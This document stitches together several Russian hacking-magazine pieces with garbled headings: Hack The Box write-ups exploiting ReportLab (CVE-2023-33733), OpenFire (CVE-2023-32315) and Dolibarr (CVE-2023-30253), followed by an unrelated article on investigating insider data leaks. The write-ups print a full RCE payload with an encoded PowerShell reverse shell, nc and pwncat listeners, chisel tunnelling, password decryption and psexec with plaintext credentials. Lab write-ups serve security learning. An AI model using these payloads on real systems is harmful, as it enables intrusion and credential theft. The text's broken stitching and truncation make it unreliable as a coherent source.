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ÒÎ×ÊÀ ÎÏÎÐÛ

В таб лице пред став лено нес коль ко вари антов име ни поль зовате ля, поэто му
для рас кры тых юзе ров сос тавля ем спи сок с логина ми и поч тами и отдель но
выписы ваем из таб лицы пароли. А затем проб рутим их в фор ме авто риза ции
на ReportHub с исполь зовани ем Burp Intruder.

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Burp Intruder — резуль тат перебо ра

В ито ге находим одну валид ную пару из логина и пароля, с которой авто ризу- 
емся на сай те.

Глав ная стра ница сай та

Сайт пред лага ет четыре фун кции. Все они свя заны с генера цией отче та
в фор мате PDF.

Фор ма генера ции отче та

Сге нери рован ный документ

В подоб ных генера торах неред ко встре чают ся уяз вимос ти, поэто му сто ит
узнать об исполь зуемой для генера ции биб лиоте ке. Эту запись обыч но мож- 
но получить из метадан ных фай ла.

Ме тадан ные фай ла

Та ким обра зом, мы выяс нили, что на сер вере исполь зует ся биб лиоте ка
ReportLab PDF.

CVE-2023-33733
Сто ит про верить, есть ли для этой биб лиоте ки готовые экс пло иты. Пер вым
делом идем в Google.

По иск экс пло итов в Google

И по пер вой же ссыл ке дос тупен экс пло ит для уяз вимос ти .CVE-2023-33733
Ког да при ложе ние обра баты вает HTML-содер жимое с помощью уяз вимой

биб лиоте ки, вызовы вло жен ных фун кций могут при вес ти к тому, что
 поз волит выпол нить про изволь ный код. В ито ге это при водит

к запус ку опре делен ной коман ды опе раци онной сис темы, и ата кующий может
получить RCE.

rl_safe_eval

Для экс плу ата ции уяз вимос ти нуж но передать в генера тор HTML-код
с наг рузкой в атри буте . В фун кции  нуж но ука зать коман ду,
которая будет выпол нена через , нап ример реверс-шелл на PowerShell.

color system
cmd

PoC для уяз вимос ти

В Burp History находим зап рос, в котором переда ются дан ные для отче та.
Этот зап рос переп равим в Burp Repeater.

Зап рос на сер вер в Burp History

За пус каем лис тенер для реверс-шел ла:

rlwrap nc -nlvp 4321 

А теперь вста вим в зап рос наг рузку из репози тория и отпра вим ее на сер вер.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system(
'powershell -e JABjAGwAaQB.....AApAA==') for Word in [ orgTypeFun( 
'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 
0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and 
str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', 
self.mutated - 1) }, '__hash__': lambda self: hash(str(
self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].
append(1)]]] and 'red'">
               exploit 
</font></para>

Зап рос на сер вер

Сра зу же в окне лис тенера получа ем сес сию поль зовате ля blake и чита ем
пер вый флаг.

Флаг поль зовате ля

Продолжение статьи →
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ÏÐÎÄÂÈÆÅÍÈÅ

Мы уже видели в сис теме поль зовате ля openre. Ско рее все го, на сер вере
уста нов лена одно имен ная сис тема — OpenFire. Про верим прос лушива емые
пор ты, так как по умол чанию OpenFire занима ет порт 9090.

netstat /an

Прос лушива емые пор ты

Этот порт прос лушива ется для адре са 127.0.0.1, поэто му нуж но сде лать тун- 
нель. Для это го орга низу ем проб рос пор тов 9000 и 9001 с помощью .
Нам пот ребу ется и вер сия для Windows, и вер сия для Linux. Запус тим
на локаль ном хос те сер вер, ука зав порт для под клю чения (опция ).

chisel

-p

./chisel.bin server -p 8888 --reverse

За тем заг рузим на уда лен ный хост вер сию для Windows и выпол ним под клю- 
чение, ука зав нас трой ки тун неля: . В логах сер вера
уви дим сооб щение о под клю чении кли ент ской час ти.

[LPORT]:[ADDR]:[RPORT]

.\chisel.exe client 10.10.16.14:8888 R:9090:127.0.0.1:9090 R:9091:
127.0.0.1:9091

Ло ги сер вера chisel

Те перь весь тра фик с локаль ных пор тов 9000 и 9001 будет перенап равлять ся
на пор ты 9000 и 9001 уда лен ной машины. На сер вере работа ет OpenFire вер- 
сии 7.4.7.

Фор ма авто риза ции OpenFire

Сно ва поищем готовые экс пло иты для най ден ного нами при ложе ния.

По иск экс пло итов в Google

И сно ва по пер вой же ссыл ке в Google  для уяз вимос ти
CVE-2023-32315. Эта уяз вимость в кон соли адми нис три рова ния поз воля ет
ата кующе му соз дать сво его поль зовате ля с ролью адми нис тра тора OpenFire.

по луча ем экс пло ит

python3 CVE-2023-32315.py -t http://127.0.0.1:9090 

Экс плу ата ция уяз вимос ти

С соз данным поль зовате лем успешно авто ризу емся в сер висе.

Глав ная стра ница OpenFire

Имея пра ва адми нис тра тора в OpenFire, мы можем уста новить в сер висе
свой модуль с шел лом. Для это го перехо дим в раз дел Plugins и заг ружа ем
модуль из того же репози тория.

Ус танов ка сво его пла гина

За тем перехо дим к кон соли уста нов ленно го пла гина через меню Server →
Server Settings → Management Tool и ука зыва ем пароль 123.

Вы бор модуля

Кон соль модуля

Ре зуль тат выпол нения коман ды whoami /all

Откры ваем лис тенер и в кон соли OpenFire выпол няем реверс-шелл.

Сес сия поль зовате ля OpenFire

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

У нас есть сес сия в кон тек сте OpenFire, про верим кон фиги и логи в катало ге
embedded-db.

Со дер жимое катало гов OpenFire

В фай ле  находим зашиф рован ные дан ные поль зовате ля

Administrator, а чуть даль ше по логам — и ключ шиф рования .

openfire.script
passwordKey

Со дер жимое фай ла openre.script

Бег лый поиск в Google вывел меня на 
. Сна чала ком пилиру ем файл .java, затем запус каем соб ранную ути- 

литу и переда ем ей зашиф рован ную стро ку и ключ.

скрипт для рас шифров ки дан ных
OpenFire

javac OpenFireDecryptPass.java 
java OpenFireDecryptPass 
becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a940
16d57ac62d4e89b2856b0289b365f3069802e59d442 
hGXiFzsKaAeYLjn 

Рас шифро ван ные дан ные

По луча ем пароль адми нис тра тора и валиди руем его для адми нис тра тив ной
учет ной записи.

 nxc smb 10.10.11.16 -u Administrator -p 'ThisPasswordShouldDo!@'

Про вер ка учет ных дан ных

Та ким обра зом, у нас есть учет ные дан ные адми нис тра тора. Получа ем сес- 
сию через psexec и чита ем флаг рута.

psexec.py ./Administrator:'ThisPasswordShouldDo!@'@10.10.11.16 

Флаг рута

Ма шина зах вачена!

https://github.com/jpillora/chisel
https://github.com/miko550/CVE-2023-32315
https://github.com/c0rdis/openfire_decrypt
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ВЗЛОМ

Се год ня мы с тобой повысим при виле гии
в Linux, исполь зуя необыч ный баг —
в доволь но ред ко встре чающей ся окон ной
сре де Enlightenment. А что бы попасть
на сер вер, нам понадо бит ся про экс плу ати- 
ровать RCE-уяз вимость в CRM/ERP-сис- 
теме Dolibarr.

На ша цель — получе ние прав супер поль зовате ля на машине BoardLight
с учеб ной пло щад ки . Уро вень задания — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.11     boardlight.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем все го два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41.•

Как обыч но в таких ситу ациях, сра зу прос матри ваем, что же инте рес ного есть
на сай те.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Вни матель но прос матри вая сайт, находим толь ко поч товый адрес
, который рас кры вает нам реаль ное домен ное имя.info@board.htb

Глав ная стра ница сай та

Раз наш ли новое домен ное имя, обновля ем содер жимое фай ла ./etc/hosts

10.10.11.11 boardlight.htb board.htb 

Для даль нейше го прод вижения будет полез но прос каниро вать катало ги.
Возь мем для это го feroxbuster.

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За даем парамет ры и запус каем:

 1  128 
feroxbuster -u http://board.htb/ -w directory_2.3_medium_lowercase.
txt -d -t

Ре зуль тат ска ниро вания катало гов

Ре зуль татов мно го, но инте рес ных сре ди них нет. Так как у нас есть реаль ный
домен сай та, поп робу ем прос каниро вать под домены. Для это го будем
исполь зовать уже упо мяну тый ffuf.

Па рамет ры при запус ке такие:
 — сло варь (так же из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — HTTP-заголо вок.• -H

Мес то перебо ра отме чаем сло вом FUZZ.
Вот что у нас вый дет:

ffuf   
 256 

-u http://board.htb -H 'Host: FUZZ.board.htb' -w subdomains-
bitquark-top100000.txt -t

Ре зуль тат ска ниро вания под доменов

Но в вывод ска нера попада ют все вари анты из передан ного спис ка, поэто му
необ ходимо уста новить филь тр. Филь тро вать будем по раз меру стра ницы,
который ука зыва ем в парамет ре .-fs

ffuf   
 256 

-u http://board.htb -H 'Host: FUZZ.board.htb' -w subdomains-
bitquark-top100000.txt -t -fs 15949 

Ре зуль тат ска ниро вания под доменов

В ито ге уда лось най ти еще один под домен, а зна чит, обновля ем запись
в фай ле , пос ле чего мож но прос мотреть новый сайт через бра- 

узер.

/etc/hosts

10.10.11.11 boardlight.htb board.htb crm.board.htb 

Фор ма авто риза ции crm.board.htb

Нас встре чает не какой-то самопис ный сайт, а фор ма авто риза ции CRM
Dolibarr вер сии 17.0.0.

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом сто ит про верить, есть ли для обна ружен ной CMS готовые экс- 
пло иты. Сра зу идем в Google.

По иск экс пло итов в Google

Пер вая ссыл ка по зап росу «Dolibarr 17.0.0 exploit» ведет на GitHub к 
для уяз вимос ти . Эта уяз вимость поз воля ет аутен тифици- 
рован ному поль зовате лю обой ти филь тр  за счет изме нения регис тра,

а затем заг рузить и выпол нить про изволь ный код.

экс пло иту
CVE-2023-30253

<?php

Экс пло иту из репози тория тре бует ся передать в парамет рах URL и учет- 
ные дан ные поль зовате ля Dolibarr, а так же адрес и порт лис тенера
для реверс-шел ла.

Ме ню help экс пло ита

Так как нам необ ходимы учет ные дан ные, пер вым делом поп робу ем дефол- 
тные сочета ния вро де . Имен но эти логин и пароль дают дос туп

к глав ной панели сер виса.

admin/admin

Глав ная стра ница Dolibarr

За пус каем лис тенер ( ), пос ле чего выпол няем экс пло ит.pwncat-cs -lp 4321

python3 exploit.py http://crm.board.htb admin admin 10.10.16.47 4321 

Экс плу ата ция уяз вимос ти

Сра зу же в окне лис тенера получа ем сес сию от име ни поль зовате ля 

.

www-
data

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на сер вере работа ет целая CRM, пер вым делом поищем учет ные дан- 
ные, дос тупные поль зовате лю . У CRM дол жен быть как минимум

дос туп к базе дан ных. Кре ды от нее находим в кон фиге .

www-data
conf/conf.php

Со дер жимое фай ла conf/conf.php

На ходим пер вый пароль и про веря ем, не подой дет ли он к учет ным записям
в сис теме. Получа ем спи сок юзе ров, у которых активна кон соль.

bash cat /etc/passwd | grep 

Поль зовате ли с кон солью

Про буем пароль в сочета нии с логином larissa, повыша ем при виле гии
и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение
и запус тим ска ниро вание. В выводе будет мно го информа ции, но из важ ной
мож но отме тить толь ко наличие бита SUID у при ложе ний из катало га

.enlightenment

При ложе ния с битом SUID

Enlightenment — это окон ный менед жер и минима лис тичный рабочий стол
для Linux и Unix. Нет ли для него экс пло итов? Мы обя заны это про верить.
Сно ва идем в Google.

По иск экс пло итов в Google

В репози тории по пер вой же  находим экс пло ит для опас ной уяз- 
вимос ти , а так же опи сание фай лов, которые мы ранее наш- 
ли на хос те.
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Опи сание репози тория

Уяз вимость содер жится в модуле  до вер сии 0.25.4 и зак- 
люча ется в неп равиль ной обра бот ке имен путей, начина ющих ся с подс тро ки

, что при водит к воз можнос ти выпол нения про изволь ных команд. А так

как у ути литы выс тавлен атри бут SUID, обыч ный поль зователь, запус кающий
этот файл на исполне ние, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Это поз воля ет получить кон- 
текст безопас ности .
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ПРИВАТНОСТЬ

Счи тает ся, что кры сы — чрез вычай но
умные и смыш леные сущес тва: они спо соб- 
ны откли кать ся на собс твен ное имя и даже
обу чать ся прос тым трю кам. Но если кры са
завелась в кол лекти ве ком мерчес кой фир- 
мы, самое вре мя рас став лять кап каны:
такой сот рудник может нанес ти ком пании
зна читель ный финан совый и репута цион- 
ный ущерб. В этой статье мы рас смот рим
методы поис ка уте чек в кор поратив ной
сре де и при ведем прак тичес кий алго ритм
рас сле дова ния подоб ных инци ден тов —
с наг лядны ми при мера ми.

Ча ще все го орга низа ции стал кива ются с утеч ками кон фиден циаль ной
информа ции уже по фак ту слу чив шегося, ког да база кли ентов, пос тавщи ков,
заказ чиков или внут ренние докумен ты вне зап но обна ружи вают ся в пуб- 
личном дос тупе. Кажет ся, что отыс кать в этом слу чае того, кто устро ил слив,
прак тичес ки невоз можно, а еще слож нее — доказать его при час тность к про- 
изо шед шему.

INFO

Статья написа на по матери алам интервью
с Дмит рием Борощу ком. Беседо вал и готовил
финаль ный текст Вален тин Хол могоров.

 уже боль ше пят надца ти лет занима ется слож ными воп- 
росами, свя зан ными с безопас ностью биз неса, преж де все го — информа- 
цион ной. И рас сле дова ние уте чек информа ции, а так же поиск винов ников
этих уте чек — одна из прак тичес ких задач, с которы ми Дмит рий регуляр но
стал кива ется на сво ем лич ном опы те. Слож ности таким рас сле дова ниям
обыч но добав ляет и то, что в неболь ших орга низа циях, как пра вило, все сот- 
рудни ки име ют дос туп прак тичес ки к любой слу жеб ной информа ции, поэто му
выяс нить, кто имен но слил тот или иной важ ный документ в паб лик, весь ма
неп росто. Но неп росто — не зна чит невоз можно.

Дмит рий Борощук

В пер вую оче редь сле дует уста новить по харак терным приз накам, была
утеч ка резуль татом деятель нос ти инсай деров или все-таки внеш ней ата ки:
воз можно, в сеть пред при ятия вло мились злые хакеры, и тог да искать зло дея
внут ри кол лекти ва не име ет ни малей шего смыс ла. Если же все-таки здесь
пос тарал ся кто-то из сво их, для начала нуж но выяс нить, кто мог иметь дос туп
к утек шему докумен ту или базе дан ных (по умол чанию — все сот рудни ки)
и кто из этих людей имел воз можность ско пиро вать цен ную информа цию.
Затем нуж но мак сималь но сузить круг подоз рева емых. Для это го исполь зует- 
ся ряд спе циаль ных при емов и методов, которые Дмит рий Борощук и его кол- 
леги активно исполь зуют в сво их рас сле дова ниях.

ÈÑÑËÅÄÓÅÌ ÓÒÅ×ÊÓ

Пос коль ку свя зан ные с утеч ками инци ден ты рас сле дуют ся обыч но пос тфак- 
тум, нап ример ког да база кли ентов уже вов сю про дает ся на чер ном рын ке,
преж де все го нуж но изу чить, в каком виде эта информа ция попала в пуб- 
личное поле. Это поможет, во-пер вых, опре делить мес то пер воначаль ного
раз мещения фай лов, а во-вто рых, иден тифици ровать потен циаль ного
выгодоп риоб ретате ля. Здесь необ ходимо иссле довать канал рас простра- 
нения информа ции, а имен но:

мес то пуб ликации утеч ки;•
да ту и вре мя пуб ликации;•
кто раз местил дан ные;•
ко шелек или рек визиты для опла ты (если фай лы рас простра няют ся плат- 
но).

•

Тут нуж но учи тывать то обсто ятель ство, что меж ду датой утеч ки и момен том
появ ления этих фай лов в пуб личном дос тупе может прой ти дос таточ но про- 
дол житель ное вре мя. Нап ример, сли тые дан ные мог ли попытать ся про дать,
но не наш ли покупа теля, пос ле чего выложи ли их в паб лик. Либо наобо рот,
наш ли, покупа тель пополь зовал ся этой информа цией какое-то вре мя
и выложил ее в сеть, ког да она сде лалась для него неак туаль ной. В любом
слу чае мес то и дата пуб ликации дадут иссле дова телю при вяз ку к момен ту,
ког да эта информа ция ста ла дос тупной, как говорят кри мина лис ты, «неоп- 
ределен ному кру гу лиц».

Ава тар ка и ник рас простра ните ля фай лов тоже могут слу жить важ ным мар- 
кером: по ним мож но попытать ся обна ружить того же челове ка на раз ных
пло щад ках в интерне те, в мес сен дже рах и соци аль ных сетях. Все эти све- 
дения обез личены, но в совокуп ности они ста новят ся очень полез ным
набором сквоз ных мар керов.

INFO

 — это кос венный приз нак,
совокуп ность которых поз воля ет иден тифици- 
ровать челове ка и при вязать учет ные записи
в интерне те к его лич ности.

Сквоз ной мар кер

Дмит рий Борощук вспо минал слу чай из прак тики: у подоз рева емо го в качес- 
тве ава тар ки исполь зовалась явно уни каль ная, а не «сто ковая» фотог рафия,
на которой был запечат лен со спи ны человек, сидящий на капитан ском мес те
в руб ке кораб ля. Прос той поиск по кар тинке в Google и «Яндексе» поз волил
отыс кать эту же кар тинку на лич ной стра нич ке в одной из соци аль ных сетей.
Еще один чрез вычай но полез ный сквоз ной мар кер — номера бан ков ских карт
и элек трон ных кошель ков: ана логич ный спо соб получе ния денег может
исполь зовать ся подоз рева емым не толь ко в этом, но и в дру гих каналах.
И дать рас сле дова телю цен ную зацеп ку. То же самое каса ется ников и адре- 
сов элек трон ной поч ты — они могут встре чать ся в сооб щени ях на пло щад ках,
где опуб ликова ны сли тые дан ные.

Важ ным сквоз ным мар кером слу жит так же сам текст объ явле ния: в нем
могут попадать ся харак терные язы ковые обо роты или сло восо чета ния, типич- 
ные орфогра фичес кие и син такси чес кие ошиб ки. Да и весь текст целиком
име ет смысл поис кать в «Яндексе» с «Гуг лом», хотя бы с целью выяс нить, где
еще его мог ли опуб ликовать.

ÈÇÓ×ÀÅÌ ÔÀÉËÛ

Про дол жаем обо гащать нашу кол лекцию арте фак тов, которые помогут нам
в рас сле дова нии. Сле дующий шаг — изу чение самого фай ла, в который упа- 
кова на утеч ка. Здесь нам при годят ся:

имя и рас ширение фай ла;•
фор мат фай ла;•
ме тадан ные, обна ружен ные в фай ле;•
да ты соз дания и изме нения;•
хеш-сум ма фай ла.•

Во-пер вых, эти све дения поз волят нам понять, каким спо собом файл был
получен: экспор тирован из CRM или базы дан ных либо, ска жем, прос то ско- 
пиро ван из фай лооб менни ка. То есть уста новить спо соб кра жи. Раз ные при- 
ложе ния и биз нес-сис темы пред лага ют раз ные инс тру мен ты выг рузки дан- 
ных, и по харак терным приз накам мож но попытать ся выяс нить, какие из них
исполь зовал зло умыш ленник.

По иск в интерне те, дар кне те и «Телег раме» по име ни фай ла даст понима- 
ние, нас коль ко широко «рас пол злась» утеч ка в сети и на какие имен но пло- 
щад ки вык ладывал зло умыш ленник этот файл. Но одной из самых цен ных
зацепок могут стать хра нящи еся в фай ле метадан ные. Казалось бы, похитив
инте ресу ющую информа цию, зло умыш ленни ки в пер вую оче редь дол жны
вос поль зовать ся спе циаль ным соф том, уда ляющим из фай лов все слу жеб- 
ные дан ные. На прак тике же это про исхо дит далеко не всег да.

Од нажды к Дмит рию Борощу ку обра тились пред ста вите ли тор говой фир- 
мы, стол кнув шей ся с весь ма нес тандар тным слу чаем мошен ничес тва. Эта
ком пания занима лась пос тавка ми сель хоз про дук ции из зарубеж ных стран, и,
ког да в Рос сии начались проб лемы с транс гра нич ными пла тежа ми из-за меж- 
дународ ных сан кций, ситу ацией решили вос поль зовать ся зло умыш ленни ки.
Они зарегис три рова ли домен, отли чав ший ся от ори гиналь ного домена ком- 
пании дву мя перес тавлен ными мес тами сим волами, и завели на нем поч- 
товые ящи ки, адре са которых были иден тичны тем, что исполь зовались нас- 
тоящей ком пани ей. При перепис ке с кон тра ген тами в этой фир ме было при-
нято добав лять в копию сра зу нес коль ких менед жеров и руково дите лей.
Мошен ники под менили в этом спис ке получа телей сна чала один адрес, затем
дру гой и через какое-то вре мя переве ли всю перепис ку на домен-дуб лер.
Пос ле это го они сооб щили кон тра ген там, что из-за сан кций у про дав ца изме- 
нились рек визиты для опла ты. Разуме ется, бан ков ские сче та, на которые ста- 
ли при ходить день ги от покупа телей, при над лежали жуликам. Про вер нуть
такую хит рую схе му мог толь ко инсай дер, который точ но знал внут реннюю
кух ню ком пании.

Выс тавля емые покупа телям «липовые» сче та в фор мате PDF были сде- 
ланы на осно ве нас тоящих фай лов, которые исполь зовала тор говая ком- 
пания. Вот в них-то и сох ранились метадан ные, выдав шие информа цию и о
самом зло умыш ленни ке, вно сив шем изме нения в исходный PDF, и о его
компь юте ре, и о соф те. Мошен ником ока зал ся быв ший менед жер фир мы,
уво лив ший ся отту да незадол го до опи сыва емо го инци ден та. Конеч но, утеч ку
может орга низо вать умный и опыт ный зло дей, который унич тожит или под- 
менит слу жеб ную информа цию в фай лах, и тог да его след потеря ется.
Но иног да иссле дова телям везет.

На конец, ана лиз дат соз дания и изме нения фай ла поз волит понять, ког да
имен но он был выг ружен и ког да зло умыш ленник в пос ледний раз откры вал
его на редак тирова ние, — это даст кос венную информа цию о вре мен ном
диапа зоне, в пре делах которо го про изош ла утеч ка. Ну а хеш поз волит срав- 
нить утек ший файл с исходным и опре делить, изме нял ся ли он вооб ще.

ÈÇÓ×ÀÅÌ ÑÎÄÅÐÆÈÌÎÅ ÔÀÉËÀ

Нас тало вре мя заг лянуть в сам файл и изу чить его содер жимое, а имен но:
ис поль зуемые поля;•
фор мат их записи;•
пол ноту при сутс тву ющих полей;•
да ту и вре мя пер вой записи;•
да ту и вре мя пос ледней записи.•

Боль шинс тво CRM, из которых чаще все го и кра дут инсай дер скую информа- 
цию, выда ют нем ного отли чающуюся информа цию сот рудни кам с раз ным
уров нем дос тупа. Нап ример, у пер сонала из отде ла про даж в базе могут
не отоб ражать ся одни поля, а у сот рудни ков юри дичес кого отде ла — дру гие.
У стар ших менед жеров и ста жеров в выг рузке будет раз ный набор полей.
Ска жем, кому-то дос тупно пол ное «досье» на кли ента, вклю чая его номер
телефо на, объ ем и номен кла туру пре дыду щих заказов и имя домаш него
питом ца, кому-то — толь ко кон так тный адрес элек трон ной поч ты.

Ана лиз утек шего фай ла поможет сузить круг подоз рева емых до опре- 
делен ной груп пы внут ренних поль зовате лей сис темы. Ну а дата пер вой и пос- 
ледней записи под ска жет акту аль ность похищен ных дан ных, то есть фак- 
тичес ки дату, ког да они были сли ты. Это — отправ ная точ ка, с которой мож но
начинать внут реннее рас сле дова ние, осо бен но если датиров ка записей сов- 
пада ет с датами соз дания и изме нения сли того в паб лик фай ла. Таким обра- 
зом иссле дова тель собира ет информа цию о «сре зе» дан ных, их пол ноте и,
воз можно, вре мени получе ния. На этом эта пе иссле дова тель ста рает ся
понять, ког да фак тичес ки про изош ла утеч ка и кто гипоте тичес ки мог иметь
дос туп к этой информа ции, исхо дя из фор мата записей.

Не ред ко уда ется выяс нить, что утеч ка пред став ляет собой ком пиляцию
дан ных из раз ных источни ков, часть которых мог ла находить ся в сво бод ном
дос тупе и рань ше. Ины ми сло вами, нуж но про вес ти верифи кацию, то есть
про верить одно род ность утек ших дан ных, что как раз и поз воля ет выявить
утеч ки, соб ранные из нес коль ких источни ков.

ÈÑÑËÅÄÓÅÌ ËÅÃÈÒÈÌÍÛÉ ÈÑÒÎ×ÍÈÊ ÄÀÍÍÛÕ

Не обхо димо изу чить саму сис тему, из которой были выг ружены дан ные,
со сле дующи ми точ ками инте реса:

ос новной фор мат хра нения дан ных;•
воз можные фор маты получе ния дан ных при раз личных усло виях их
копиро вания (бэкап, экспорт, пар синг и так далее).

•

Это поз волит опре делить воз можный спо соб и фор му получен ной утеч ки.
Пос ле это го необ ходимо вни матель но изу чить сис тему, из которой мог ла
про изой ти утеч ка дан ных, и выявить сле дующие фак торы:

пе речень уров ней дос тупа и ролей поль зовате лей в сис теме;•
пе речень дос тупных полей для каж дого уров ня дос тупа;•
пе речень поль зовате лей с дос тупом к утек шим дан ных (как активных, так
и имев ших дос туп на момент утеч ки).

•

Цель этих дей ствий — фик сация потен циаль но при час тных учет ных записей
поль зовате лей и спо собов дос тупа к дан ным, которые могут находить ся
в «сре зе» опуб ликован ной в интерне те утеч ки.

Те перь необ ходимо опре делить вре мен ные рам ки поис кового лан дшаф та,
исхо дя из пол ноты дан ных, пред став ленных в утеч ке.

INFO

 —
это отре зок вре мени, на про тяже нии которо го
про изош ла утеч ка дан ных и их раз мещение в пуб- 
личном дос тупе.

Вре мен ные рам ки поис кового лан дшаф та

Как пра вило, отсчет ведет ся в обратном поряд ке от момен та пер вично го раз-
мещения похищен ных фай лов в пуб личном дос тупе до (при мер но)
минус 60 суток от даты пос ледних вне сен ных дан ных в «сре зе» утек шей
информа ции. На текущем эта пе име ет смысл про ана лизи ровать:

ло ги дос тупа к целевым дан ным поль зовате лей;•
ло ги изме нений в целевом источни ке дан ных.•

Это поз волит реконс тру иро вать исто рию обра щений к источни ку целевых
дан ных поль зовате лей сис темы и сузить круг подоз рева емых до одно го-двух
человек.

ÊÀÊÈÅ ÂÀØÈ ÄÎÊÀÇÀÒÅËÜÑÒÂÀ?

Пос ле выяв ления потен циаль ных подоз рева емых исполь зуют ся стан дар тные
методы кри мина лис тики, а имен но иссле дуют ся жур налы опе раци онной сис- 
темы рабоче го компь юте ра сот рудни ка. Наша задача — про ана лизи ровать
все опе рации, которые про исхо дили с фай лами на про тяже нии вре мен ных
рамок поис кового лан дшаф та. Таким обра зом иссле дова тель смо жет понять,
вза имо дей ство вал ли поль зователь с инте ресу ющим его объ ектом.

Пред положим, ты уже прак тичес ки стоп роцен тно нашел зло дея у себя
в ком пании, но тебе нуж но соб рать какие-то доказа тель ства его вины.
При этом никаких сис тем DLP, SIEM или иных заранее нас тро енных инс тру- 
мен тов в тво ем рас поряже нии нет, потому что «это дорого и вряд ли ког- 
да-либо понадо бит ся!». Име ется толь ко дос туп к слу жеб ным ноут буку и смар- 
тфо ну пред полага емо го зло умыш ленни ка. Что же делать руково дите лю служ- 
бы безопас ности, ког да кажет ся, что кор поратив ный шпи он уже поч ти разоб- 
лачен, и оста ется толь ко под твер дить это фак тами?

WARNING

Тут сто ит сде лать малень кую ремар ку. Как пра- 
вило, все опи сан ные ниже дей ствия пред назна- 
чены для внут ренних рас сле дова ний и в судеб ных
раз биратель ствах не исполь зуют ся, пос коль ку
в судеб ной кри мина лис тике недопус тимы. Если
ты всерь ез пла ниру ешь довес ти дело до суда
или не уве рен в том, что дела ешь, то луч ше сра зу
обра тить ся к спе циалис там, совету ет Дмит рий
Борощук.

Со бери все носите ли информа ции и элек тро нику, которая рас полага лась
на рабочем мес те пред полага емо го зло дея. Флеш ки, внеш ние жес ткие
дис ки, ноут буки, компь юте ры, план шеты и телефо ны. Конеч но же, при этом
нуж но находить ся в рам ках пра вово го поля — это иму щес тво дол жно быть
выдано ком пани ей «под под пись» сот рудни ка и являть ся ее собс твен- 
ностью.

•

Пос мотри, нет ли на рабочем мес те записок, блок нотов и вся ких бумаг,
на которых могут содер жать ся не толь ко пов седнев ные рабочие записи,
но и что-то отно сяще еся к делу.

•

Сде лай выг рузку из сис темы СКУД о при сутс твии сот рудни ка на рабочем
мес те в пред полага емый вре мен ной отре зок про изо шед шего инци ден та
(если дос туп к утек шим дан ным был открыт толь ко из физичес кого
перимет ра ком пании).

•

Сде лай выг рузку из сис темы виде онаб людения за вре мен ной отре зок
пред полага емо го инци ден та (плюс-минус 15 дней). Хоть это и может
казать ся арха ичным, но, как показы вает прак тика, час то это ста новит ся
хорошим под спорь ем в рас сле дова нии.

•

Заб локируй дос туп извне к иссле дуемой элек тро нике — ни в коем слу чае
не давай воз можнос ти устрой ствам под клю чить ся к интерне ту, что бы
у пред полага емо го зло умыш ленни ка не оста лось шан са уда лен но унич- 
тожить сле ды сво ей деятель нос ти.

•

За тем сле дует соз дать копию носите ля информа ции иссле дуемо го устрой- 
ства для даль нейше го изу чения. Этот шаг необ ходим для того, что бы
при работе с девай сом мы слу чай но не испорти ли или не унич тожили
по неос торож ности важ ные арте фак ты и в слу чае необ ходимос ти мог ли вос- 
ста новить из копии ранее уда лен ные фай лы. Сде лать это мож но при помощи
